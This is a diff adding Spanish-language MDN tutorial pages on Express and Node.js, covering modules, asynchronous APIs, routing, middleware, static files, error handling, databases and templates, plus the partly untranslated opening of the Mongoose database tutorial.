+
+app.listen(3000, function() {
+  console.log('Aplicación ejemplo, escuchando el puerto 3000!');
+});
+</pre>
+
+<p>Las primeras dos líneas incluyen (mediante la orden <code>require()</code>) el módulo de Express y crean una <a href="https://expressjs.com/en/4x/api.html#app">aplicación de Express</a>. Este elemento se denomina comúnmente <code>app</code>, y posee métodos para el enrutamiento de las peticiones HTTP, configuración del 'middleware', y visualización de las vistas de HTML, uso del motores de 'templates', y gestión de las <a href="https://expressjs.com/en/4x/api.html#app.settings.table">configuraciones de las aplicaciones </a> que controlan la aplicación (por ejemplo el entorno, las definiciones para enrutado ... etcetera.)</p>
+
+<p>Las líneas que siguen en el código (las tres líneas que comienzan con <code>app.get</code>) muestran una definición de ruta que se llamará cuando se reciba una petición  HTTP <code>GET</code> con una dirección (<code>'/'</code>) relativa al directorio raíz. La función 'callback' coge una petición y una respuesta como argumentos, y ejecuta un <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> en la respuesta, para enviar la cadena  de caracteres: "Hola Mundo!".</p>
+
+<p>El bloque final de código, define y crea el servidor, escuchando el puerto 3000 e imprime un comentario en la consola. Cuando se está ejecutando el servidor, es posible ir hasta la dirección  <code>localhost:3000</code>  en un navegador, y ver como el servidor de este ejemplo devuelve el mensaje de respuesta.</p>
+
+<h3 id="Importando_y_creando_módulos">Importando y creando módulos</h3>
+
+<p>Un modulo es una librería o archivo JavaScript que puede ser importado dentro de otro código utilizando la función <code>require()</code> de Node.  Por sí mismo, <em>Express</em> es un modulo,  como lo son el middleware y las librerías de bases de datos que se utilizan en las aplicaciones <em>Express.</em></p>
+
+<p>El código mostrado abajo, muestra como puede importarse un modulo con base a su nombre, como ejemplo se utiliza el  framework <em>Express</em> . Primero se invoca la función <code style="font-style: normal; font-weight: normal;">require()</code>, indicando como parámetro el nombre del módulo o librería como una cadena (<code>'express'</code>),  posteriormente se invoca el objeto obtenido para crear una <a href="https://expressjs.com/en/4x/api.html#app">aplicación Express</a>.</p>
+
+<p>Posteriormente, se puede acceder a las propiedades y funciones del objeto Aplicación.</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+</pre>
+
+<p>También podemos crear nuestros propios módulos que puedan posteriormente ser importados de la misma manera.</p>
+
+<div class="note">
+<p><strong>Consejo:</strong>  Usted puede desear crear sus propios módulos, esto le permitirá organizar su código en partes más administrables; una aplicación que reside en un solo archivo es difícil de entender y manejar.</p>
+
+<p>El utilizar módulos independientes también le permite administrar el espacio de nombres, de esta manera unicamente las variables que exporte explícitamente son importadas cuando utilice un módulo.</p>
+</div>
+
+<p>Para hacer que los objetos esten disponibles fuera de un modulo, solamente es necesario asignarlos al objeto <code>exports</code>. Por ejemplo, el modulo mostrado a continuación <strong>square.js</strong>  es un archivo que exporta los métodos <code>area()</code> y <code>perimeter()</code> :</p>
+
+<pre class="brush: js notranslate"><strong>exports</strong>.area = function(width) { return width * width; };
+<strong>exports</strong>.perimeter = function(width) { return 4 * width; };
+</pre>
+
+<p>Nosotros podemos importar este módulo utilizando la función <code>require()</code>, y entonces podremos invocar los métodos exportados de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">// Utilizamos la función<strong> require()</strong> El nombre del archivo se ingresa sin la extensión (opcional) .js
+var square = require('./square');
+// invocamos el metodo <strong>area()</strong>
+console.log('El área de un cuadrado con lado de 4 es ' + square.area(4));</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Usted también puede especificar una ruta absoluta a la  ubicación del módulo  (o un nombre como se realizó inicialmente). </p>
+</div>
+
+<p>Si usted desea exportar completamente un objeto en una asignación en lugar de construir cada propiedad por separado, debe asignarlo al módulo <code>module.exports</code> como se muestra a continuación (también puede hacer esto al inicio de un constructor o de otra función.)</p>
+
+<pre class="brush: js notranslate">module.exports = {
+  area: function(width) {
+    return width * width;
+  },
+
+  perimeter: function(width) {
+    return 4 * width;
+  }
+};
+</pre>
+
+<p>Para más información acerca de módulos vea <a href="https://nodejs.org/api/modules.html#modules_modules">Modulos</a> (<em>Node</em> API docs).</p>
+
+<h3 id="Usando_APIs_asíncronas">Usando APIs asíncronas</h3>
+
+<p>El código JavaScript usa frecuentemente APIs asíncronas antes que sincrónicas para operaciones que tomen algún tiempo en completarse. En una API sincrónica cada operación debe completarse antes de que la siguiente pueda comenzar. Por ejemplo, la siguiente función de registro es síncrona, y escribirá en orden el texto en la consola (Primero, Segundo).</p>
+
+<pre class="brush: js notranslate">console.log('Primero');
+console.log('Segundo');
+</pre>
+
+<p>En contraste, en una API asincrónica, la API comenzará una operación e inmediatamente retornará (antes de que la operación se complete). Una vez que la operación finalice, la API usará algún mecanismo para realizar operaciones adicionales. Por ejemplo, el código de abajo imprimirá "Segundo, Primero" porque aunque el método <code>setTimeout()</code> es llamado primero y retorna inmediatamente, la operación no se completa por varios segundos.</p>
+
+<pre class="brush: js notranslate">setTimeout(function() {
+   console.log('Primero');
+   }, 3000);
+console.log('Segundo');
+</pre>
+
+<p>Usar APIs asíncronas sin bloques es aun mas importante en <em>Node</em> que en el navegador, porque <em>Node</em> es un entorno de ejecución controlado por eventos de un solo hilo. "Un solo hilo" quiere decir que todas las peticiones al servidor son ejecutadas en el mismo hilo ( en vez de dividirse en procesos separados). Este modelo es extremadamente eficiente en términos de velocidad y recursos del servidor, pero eso significa que si alguna de sus funciones llama a métodos sincrónicos que tomen demasiado tiempo en completarse, bloquearan no solo la solicitud actual, sino también cualquier otra petición que este siendo manejada por tu aplicación web.</p>
+
+<p>Hay muchas maneras para una API asincrónica de notificar a su aplicación que se ha completado. La manera mas común es registrar una función callback cuando usted invoca a una API asincrónica, la misma será llamada de vuelta cuando la operación se complete. Éste es el enfoque utilizado anteriormente.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> Usar "callbacks" puede ser un poco enmarañado si usted tiene una secuencia de operaciones asíncronas dependientes que deben ser llevadas a cabo en orden, porque esto resulta en múltiples niveles de "callbacks" anidadas. Este problema es comúnmente conocido como "callback hell" (callback del infierno). Este problema puede ser reducido con buenas practicas de código (vea <a href="http://callbackhell.com/">http://callbackhell.com/</a>), usando un modulo como <a href="https://www.npmjs.com/package/async">async</a>, o incluso avanzando a características de ES6 como las <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesas</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> Una convención común para <em>Node</em> y <em>Express</em> es usar callbacks de error primero. En esta convención el primer valor en su función callback es un error, mientras que los argumentos subsecuentes contienen datos correctos. Hay una buena explicación de porque este enfoque es útil en este blog: <a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js">The Node.js Way - Understanding Error-First Callbacks</a> (fredkschott.com).</p>
+</div>
+
+<h3 id="Creando_manejadores_de_rutas">Creando manejadores de rutas</h3>
+
+<p>En nuestro ejemplo anterior de "Hola Mundo!" en <em>Express</em> (véase mas arriba), definimos una función (callback) manejadora de ruta para peticiones HTTP <code>GET</code> a la raíz del sitio (<code>'/'</code>).</p>
+
+<pre class="brush: js notranslate">app.<strong>get</strong>('/', function(req, res) {
+  res.send('Hello World!');
+});
+</pre>
+
+<p>La función callback toma una petición y una respuesta como argumentos. En este caso el método simplemente llama a <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> en la respuesta para retornar la cadena "Hello World!". Hay un <a href="https://expressjs.com/en/guide/routing.html#response-methods">número de otros métodos de respuesta</a> para finalizar el ciclo de solicitud/respuesta, por ejemplo podrá llamar a <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> para enviar una respuesta JSON o <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> para enviar un archivo.</p>
+
+<div class="note">
+<p><strong>JavaScript tip:</strong> Usted puede utilizar cualquier nombre que quiera para los argumentos en las funciones callback; cuando la callback es invocada el primer argumento siempre sera la petición y el segundo siempre sera la respuesta. Tiene sentido nombrarlos de manera que pueda identificar el objeto con el que esta trabajando en el cuerpo de la callback.</p>
+</div>
+
+<p>El objeto que representa una aplicación de <em>Express</em>, también posee métodos para definir los manejadores de rutas para el resto de los verbos HTTP: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search</code><code>()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, y <code>connect()</code>.</p>
+
+<p>Hay un método general para definir las rutas:  <code>app.all()</code>, el cual será llamado en respuesta a cualquier método HTTP. Se usa para cargar funciones del middleware en una dirección particular para todos los métodos de peticiones. El siguiente ejemplo (de la documentación de <em>Express</em>) muestra el uso de los manejadores a  <code>/secret</code>  sin tener en cuenta el verbo HTTP utilizado (siempre que esté definido por el <a href="https://nodejs.org/api/http.html#http_http_methods">módulo http</a>).</p>
+
+<pre class="brush: js notranslate">app.all('/secret', function(req, res, next) {
+  console.log('Accediendo a la seccion secreta ...');
+  next(); // pasa el control al siguiente manejador
+});</pre>
+
+<p>Las rutas le permiten igualar patrones particulares de caracteres en la URL, y extraer algunos valores de ella y pasarlos como parámetros al manejador de rutas (como atributo del objeto petición pasado como parámetro).</p>
+
+<p>Usualmente es útil agrupar manejadores de rutas para una parte del sitio juntos y accederlos usando un prefijo de ruta en común. (Ej: un sitio con una Wiki podría tener todas las rutas relacionadas a dicha sección en un archivo y siendo accedidas con el prefijo de ruta /wiki/. En <em>Express</em> esto se logra usando el objeto <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code>. Ej: podemos crear nuestra ruta wiki en un módulo llamado wiki.js, y entonces exportar el objeto <code>Router</code>, como se muestra debajo:</p>
+
+<pre class="brush: js notranslate">// wiki.js - Modulo de rutas Wiki
+
+var express = require('express');
+var router = express.Router();
+
+// Home page route
+router.get('/', function(req, res) {
+  res.send('Página de inicio Wiki');
+});
+
+// About page route
+router.get('/about', function(req, res) {
+  res.send('Acerca de esta wiki');
+});
+
+module.exports = router;
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Agregar rutas al objeto <code>Router</code> es como agregar rutas al objeto <code>app</code> ( como se vio anteriormente).</p>
+</div>
+
+<p>Para usar el router en nuestro archivo app principal, necesitamos <code>require()</code> el módulo de rutas (<strong>wiki.js</strong>), entonces llame <code>use()</code> en la aplicación <em>Express</em> para agregar el Router al software intermediario que maneja las rutas. Las dos rutas serán accesibles entonces desde <code style="font-style: normal; font-weight: normal;">/wiki/</code> y <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>.</p>
+
+<pre class="brush: js notranslate">var wiki = require('./wiki.js');
+// ...
+app.use('/wiki', wiki);</pre>
+
+<p>Le mostraremos mucho más sobre como trabajar con rutas, y en particular, acerca de como usar el <code>Router</code>, más adelante en la sección<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes"> Rutas y controladores .</a></p>
+
+<h3 id="Usando_middleware">Usando middleware</h3>
+
+<p>El "middleware" es ampliamente utilizado en las aplicaciones de <em>Express:</em> desde tareas para servir archivos estáticos, a la gestión de errores o la compresión de las respuestas HTTP. Mientras las funciones de enrutamiento, con el objeto <a href="http://expressjs.com/en/guide/routing.html#express-router" rel="noopener">express.Router</a>, se encargan del ciclo petición-respuesta, al gestionar la respuesta adecuada al cliente, las funciones de middleware normalmente realizan alguna operación al gestionar una petición o respuesta y a continuación llaman a la siguiente función en la "pila", que puede ser otra función de middleware  u otra función de enrutamiento. El orden en el que las funciones de middleware son llamadas depende del desarrollador de la aplicación.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> El middleware puede realizar cualquier operación: hacer cambios a una petición, ejecutar código, realizar cambios a la petición o al objeto pedido, puede también finalizar el ciclo de petición-respuesta. Si no finaliza el ciclo debe llamar a la función <code>next()</code> para pasar el control de la ejecución a la siguiente función del middleware ( o a la petición quedaría esperando una respuesta ... ). </p>
+</div>
+
+<p>La mayoría de las aplicaciones usan middleware desarrollado por terceras partes, para simplificar funciones habituales en el desarrollo web, como puede ser: gestión de cookies, sesiones, autentificado de usuarios, peticiones <code>POST</code>  y datos en JSON, registros de eventos, etc. Puede encontrar en el siguiente enlace una  <a href="http://expressjs.com/en/resources/middleware.html">lista de middleware mantenido por el equipo de <em>Express</em></a> (que también incluye otros paquetes populares de terceras partes). Las librerías de <em>Express</em> están disponibles con la aplicación NPM (Node Package Manager).</p>
+
+<p>Para usar estas colecciones, primero ha de instalar la aplicación usando NPM. Por ejemplo para instalar el registro de peticiones HTTP <a href="http://expressjs.com/en/resources/middleware/morgan.html">morgan</a>, se haría con el comando Bash:  </p>
+
+<pre class="brush: bash notranslate"><code>$ npm install morgan
+</code></pre>
+
+<p>Entonces podría llamar a la función <code>use()</code> en un objeto de aplicación <em>Express</em> para utilizar este middleware a su aplicación. </p>
+
+<pre class="brush: js notranslate">var express = require('express');
+<strong>var logger = require('morgan');</strong>
+var app = express();
+<strong>app.use(logger('dev'));</strong>
+...</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Las funciones Middleware y routing son llamadas en el orden que son declaradas. Para algunos middleware el orden es importante (por ejemplo si el middleware de sesion depende del middleware de cookie, entonces el manejador de cookie tiene que ser llamado antes). Casi siempre es el caso que el middleware es llamado antes de configurar las rutas, o tu manejador de rutas no tendra acceso a la funcionalidad agregada por tu middleware.</p>
+</div>
+
+<p>Tu puedes escribir tu propia funcion middleware, y si quieres hacerlo así (solo para crear código de manejo de error). La única diferencia entre una función middleware y un callback manejador de rutas es que las funciones middleware tienen un tercer argumento <code>next</code>, cuyas funciones  middleware son esperadas para llamarlas si ellas no completan el ciclo request (cuando la función midleware es llamada, esta contiene la próxima función que debe ser llamada).</p>
+
+<p>Puede agregar una función middleware a la cadenan de procesamiento con cualquier <code>app.use()</code> o <code>app.add()</code>, dependiendo de si quiere aplicar el middleware a todas las respuestas o a respuestas con un verbo particular HTTP (<code>GET</code>, <code>POST</code>, etc). Usted especifica rutas, lo mismo en ambos casos, aunque la ruta es opcional cuando llama <strong>app.use()</strong>.</p>
+
+<p>El ejemplo de abajo muestra como puede agregar la función middleware usando ambos métodos, y con/sin una ruta.</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+
+// An example middleware function
+var a_middleware_function = function(req, res, <em>next</em>) {
+  // ... perform some operations
+  next(); // Call next() so Express will call the next middleware function in the chain.
+}
+
+// Function added with use() for all routes and verbs
+app.use(a_middleware_function);
+
+// Function added with use() for a specific route
+app.use('/someroute', a_middleware_function);
+
+// A middleware function added for a specific HTTP verb and route
+app.get('/', a_middleware_function);
+
+app.listen(3000);</pre>
+
+<div class="note">
+<p><strong>JavaScript Tip:</strong> Arriba declaramos la función middleware separadamente y la configuramos como el callback. En nuestra función previous manejadora de ruta declaramos la función callback cuando esta fué usada. En JavaScript, cuealquer aproximación es valida.</p>
+</div>
+
+<p>La documentación Express tiene mucha mas documentación excelente acerca del uso y escritura de middleware Express.</p>
+
+<h3 id="Sirviendo_archivos_estáticos">Sirviendo archivos estáticos</h3>
+
+<p>Puede utilizar el middleware <a href="http://expressjs.com/en/4x/api.html#express.static">express.static</a> para servir archivos estáticos, incluyendo sus imagenes, CSS y JavaScript (<code>static()</code> es la única función  middleware que es actualmente <strong>parte</strong> de <em>Express</em>). Por ejemplo, podria utilizar la linea de abajo para servir imágenes, archivos CSS, y archivos JavaScript desde un directorio nombrado '<strong>public'</strong> al mismo nivel desde donde llama a node:</p>
+
+<pre class="brush: js notranslate">app.use(express.static('public'));
+</pre>
+
+<p>Cualesquiere archivos en el directorio público son servidos al agregar su nombre de archivo (<em>relativo</em> a la ubicación del directorio "público" ) de la ubicación URL. Por ejemplo:</p>
+
+<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg
+http://localhost:3000/css/style.css
+http://localhost:3000/js/app.js
+http://localhost:3000/about.html
+</code></pre>
+
+<p>Puede llamar <code>static()</code> multiples ocasiones a servir multiples directorios. Si un archivo no puede ser encontrado por una función middleware entonces este simplemente será pasado en la subsequente middleware (el orden en que el middleware está basado en  su orden de declaración).</p>
+
+<pre class="brush: js notranslate">app.use(express.static('public'));
+app.use(express.static('media'));
+</pre>
+
+<p>Tambien puede crear un prefijo virtual para sus URLs estáticas, aun más teniendo los archivos agregados en la ubicación URL. Por ejemplo, aqui especificamos <a href="http://expressjs.com/en/4x/api.html#app.use">a mount path</a> tal que los archivos son bajados con el prefijo "/media":</p>
+
+<pre class="brush: js notranslate">app.use('/media', express.static('public'));
+</pre>
+
+<p>Ahora, puede bajar los archivos que estan en el directorio <code>publico</code> del path con prefijo <code>/media</code>.</p>
+
+<pre class="notranslate"><code>http://localhost:3000/media/images/dog.jpg
+http://localhost:3000/media/video/cat.mp4
+http://localhost:3000/media/cry.mp3</code>
+</pre>
+
+<p>Para más información, ver <a href="Serving static files in Express">Sirviendo archivos estáticos en Express</a>.</p>
+
+<h3 id="Manejando_errores">Manejando errores</h3>
+
+<p>Los errores majejados por una o más funciones especiales middleware que tienen cuatro argumentos, en lugar de las usuales tres: <code>(err, req, res, next)</code>. For example:</p>
+
+<pre class="brush: js notranslate">app.use(function(err, req, res, next) {
+  console.error(err.stack);
+  res.status(500).send('Something broke!');
+});
+</pre>
+
+<p>Estas pueden devolver cualquier contenido, pero deben ser llamadas despues de todas las otras <code>app.use()</code> llamadas de rutas tal que ellas son las últimas middleware en el proceso de manejo de request!</p>
+
+<p>Express viene con un manejador de error integrado, el que se ocupa de error remanente que pudiera ser encontrado en la app. Esta función middleware manejador de error esta agregada al final del stack de funciones middleware. Si pasa un error a <code>next()</code> y no lo maneja en un manejador de error, este sera manejado por el manejador de error integrado; el error sera escrito en el cliente con el rastreo de pila.</p>
+
+<div class="note">
+<p><strong>Note:</strong> El rastreo de pila no esta incluido en el ambiente de producción. Para ejecutarlo en modo de producción necesita configurar la variable de ambiente <code>NODE_ENV</code> to '<code>production'</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> HTTP404 y otros codigos de estatus de "error" no son tratados como errores. Si quiere manejar estos, puede agregar una función middleware para hacerlo. Para mas información vea las <a href="http://expressjs.com/en/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p>
+</div>
+
+<p>Para mayor información vea Manejo de error (Docs. Express).</p>
+
+<h3 id="Usando_Bases_de_datos">Usando Bases de datos</h3>
+
+<p>Las apps de <em>Express</em> pueden usar cualquier mecanismo de bases de datos suportadas por <em>Node</em> (<em>Express</em> en sí mismo no define ningúna conducta/requerimiento specifico adicional para administración de bases de datos). Hay muchas opciones, incluyendo PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.</p>
+
+<p>Con el propósito de usar éste, debe primero instalar el manejador de bases de datos utilizando NPM. Por ejemplo, para instalar el manejador para el popular NoSQL MongoDB querría utilizar el comando:</p>
+
+<pre class="brush: bash notranslate"><code>$ npm install mongodb
+</code></pre>
+
+<p>La base de datos por si misma puede ser instalada localmente o en un servidor de la nube. En su codigo Express requiere el manejador, conectarse a la base de datos, y entonces ejecutar operaciones crear, leer, actualizar, y borrar (CLAB). }El ejemplo de abajo (de la documentación Express documentation) muestra como puede encontrar registros en la colección "mamiferos" usando MongoDB.</p>
+
+<pre class="brush: js notranslate">var MongoClient = require('mongodb').MongoClient;
+
+MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
+  if (err) throw err;
+
+  db.collection('mammals').find().toArray(function (err, result) {
+    if (err) throw err;
+
+    console.log(result);
+  });
+});</pre>
+
+<p>Otra aproximación popular es acceder a su base de datos indirectamente, via an Mapeo Objeto Relacional ("MOR"). En esta aproximación usted define sus datos como "objetos" o "modelos" y el MOR mapea estos a través del deliniamiento basico de la base de datos. Esta aproximación tiene el beneficio de que como un desrrollador puede continuar pensando en términos de objetos de JavaScript mas que en semántica de bases de datos, y en esto hay un lugar obvio para ejecutar la validación y chequeo de entrada de datos. Hablaremos más de bases de datos en un artículo posterior.</p>
+
+<p>Para más información ver <a href="https://expressjs.com/en/guide/database-integration.html">Integracion de Bases de Datos</a> (docs Express ).</p>
+
+<h3 id="Renderización_de_data_vistas">Renderización de data (vistas)</h3>
+
+<p>El Motor de plantilla (referido como "motor de vistas" por <em>Express</em>) le permite definir la estructura de documento de salida en una plantilla, usando marcadores de posición para datos que seran llenados cuando una pagina es generada. Las plantillas son utilizadas generalmete para crear HTML, pero tambien pueden crear otros tipos de documentos. Express tiene soporte para  <a href="https://github.com/expressjs/express/wiki#template-engines">numerosos motores de plantillas</a>, y hay una util comparación de los motores más populares aquí: <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparando Motores de Plantillas de JavaScript: Jade, Mustache, Dust and More</a>.</p>
+
+<p>En su código de configuración de su aplicación usted configura el motor de plantillas para usar y su localización Express podiría buscar plantillas usando las configuraciones de 'vistas' y 'motores de vistas', mostrado abajo (tendría también que instalar el paquete conteniendo su librería de plantillas!)</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+
+// Set directory to contain the templates ('views')
+app.set('views', path.join(__dirname, 'views'));
+
+// Set view engine to use, in this case 'some_template_engine_name'
+app.set('view engine', 'some_template_engine_name');
+</pre>
+
+<p>La apariencia de la plantilla dependera de qué motor use. Asumiendo que tiene un archivo de plantillas nombrado "index.&lt;template_extension&gt;" este contiene placeholders para variables de datos nombradas 'title' y "message", podría llamar <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> en una función manejadora de rutas para crear y enviar la HTML response:</p>
+
+<pre class="brush: js notranslate">app.get('/', function(req, res) {
+  res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
+});</pre>
+
+<p>Para más información vea <a href="http://expressjs.com/en/guide/using-template-engines.html">Usando motores de plantillas con Express</a> (docs Express ).</p>
+
+<h3 id="Estructura_de_Archivos">Estructura de Archivos</h3>
+
+<p>Express no hace asunciones en términos de estructura o que componentes usted usa. Rutas, vistas, archivos estáticos, y otras lógicas de aplicación específica puede vivir en cualquier número de archivos con cualquier estructura de directorio. Mientras que esto es perfectamente posible, se puede tener toda la aplicación en un solo archivo, en <em>Express</em>, tipicamente esto tiene sentido al desplegar su aplicacion dentro de archivos basados en función (e.g. administracion de cuentas, blogs, tableros de discusion) y dominio de problema arquitectonico (e.g. modelo, vista or controlador si tu pasas a estar usando una <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">arquitectura MVC</a>).</p>
+
+<p>En un tópico posterior usaremos el Generador de Aplicaciones <em>Express Application Generator</em>, el que crea un esquelo de una app modular que podemos facilmente extender para crear aplicaciones web.</p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">¡Felicitaciones, ha completado el primer paso en su viaje Express/Node!</span> <span title="">Ahora debes comprender los principales beneficios de Express y Node, y más o menos cómo se verían las partes principales de una aplicación Express (rutas, middleware, manejo de errores y plantillas).</span> <span title="">¡También debe comprender que con Express como un </span></span> framework unopinionated<span class="tlid-translation translation" lang="es"><span title="">, la forma en que une estas partes y las bibliotecas que usa dependen en gran medida de usted!</span><br>
+ <br>
+ <span title="">Por supuesto, Express es deliberadamente un un </span></span> framework <span class="tlid-translation translation" lang="es"><span title="">de aplicaciones web muy ligero, por lo que gran parte de sus beneficios y potencial proviene de bibliotecas y características de terceros.</span> <span title="">Lo veremos con más detalle en los siguientes artículos.</span> <span title="">En nuestro próximo artículo, veremos cómo configurar un entorno de desarrollo de Node, para que pueda comenzar a ver código de Express en acción.</span></span></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li>
+ <li><a href="https://expressjs.com/">Express</a> (home page)</li>
+ <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
+ <li><a href="Serving static files in Express">Serving static files in Express</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li>
+</ul>
+
+<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/es/learn/server-side/express_nodejs/mongoose/index.html b/files/es/learn/server-side/express_nodejs/mongoose/index.html
new file mode 100644
index 0000000000..f5701c468a
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/mongoose/index.html
@@ -0,0 +1,801 @@
+---
+title: 'Express Tutorial 3: Utilizando bases de datos (con Mongoose)'
+slug: Learn/Server-side/Express_Nodejs/mongoose
+translation_of: Learn/Server-side/Express_Nodejs/mongoose
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">Este artículo introduce brevemente las bases de datos así como su uso en aplicaciones Node/Express. Despues, profundiza en el uso específico de <a href="http://mongoosejs.com/">Mongoose</a> en el proyecto <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. Explica como se declaran y utilizan los esquemas modelo-objeto, los principales campos de datos y su validación básica. También muestra brevemente algunas de las muchas formas para acceder y modificar los datos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial 2: Creando un esqueleto web</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Ser capaz de crear, diseñar y utilizar bases de datos en Node/Express utilizando Mongoose</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Overview">Overview</h2>
+
+<p>Library staff will use the Local Library website to store information about books and borrowers, while library members will use it to browse and search for books, find out whether there are any copies available, and then reserve or borrow them. In order to store and retrieve information efficiently, we will store it in a <em>database</em>.</p>
+
+<p>Las aplicaciones Express pueden utilizar diferentes bases de datos, y existen diferentes aproximaciones que se pueden utilizar para realizar operaciones CRUD (<strong>C</strong>reate, <strong>R</strong>ead, <strong>U</strong>pdate and <strong>D</strong>elete). Este tutorial proporciona una vista general sobre algunas de las opciones disponibles, para a continuación mostrar en detalle los mecanismos elegidos en particular.</p>
+
+<h3 id="What_databases_can_I_use">What databases can I use?</h3>
+
+<p><em>Express</em> apps can use any database supported by <em>Node</em> (<em>Express</em> itself doesn't define any specific additional behaviour/requirements for database management). There are <a href="https://expressjs.com/en/guide/database-integration.html">many popular options</a>, including PostgreSQL, MySQL, Redis, SQLite, and MongoDB.</p>
+
+<p>When choosing a database, you should consider things like time-to-productivity/learning curve, performance, ease of replication/backup, cost, community support, etc. While there is no single "best" database, almost any of the popular solutions should be more than acceptable for a small-to-medium-sized site like our Local Library.</p>
+
+<p>For more information on the options see: <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p>
+
+<h3 id="What_is_the_best_way_to_interact_with_a_database">What is the best way to interact with a database?</h3>
+
+<p>There are two approaches for interacting with a database: </p>
+
+<ul>
+ <li>Using the databases' native query language (e.g. SQL)</li>
+ <li>Using an Object Data Model ("ODM") / Object Relational Model ("ORM"). An ODM/ORM represents the website's data as JavaScript objects, which are then mapped to the underlying database. Some ORMs are tied to a specific database, while others provide a database-agnostic backend.</li>
+</ul>
+
+<p>The very best <em>performance</em> can be gained by using SQL, or whatever query language is supported by the database. ODM's are often slower because they use translation code to map between objects and the database format, which may not use the most efficient database queries (this is particularly true if the ODM supports different database backends, and must make greater compromises in terms of what database features are supported).</p>
+
+<p>The benefit of using an ORM is that programmers can continue to think in terms of JavaScript objects rather than database semantics — this is particularly true if you need to work with different databases (on either the same or different websites). They also provide an obvious place to perform validation and checking of data.</p>
+
+<div class="note">
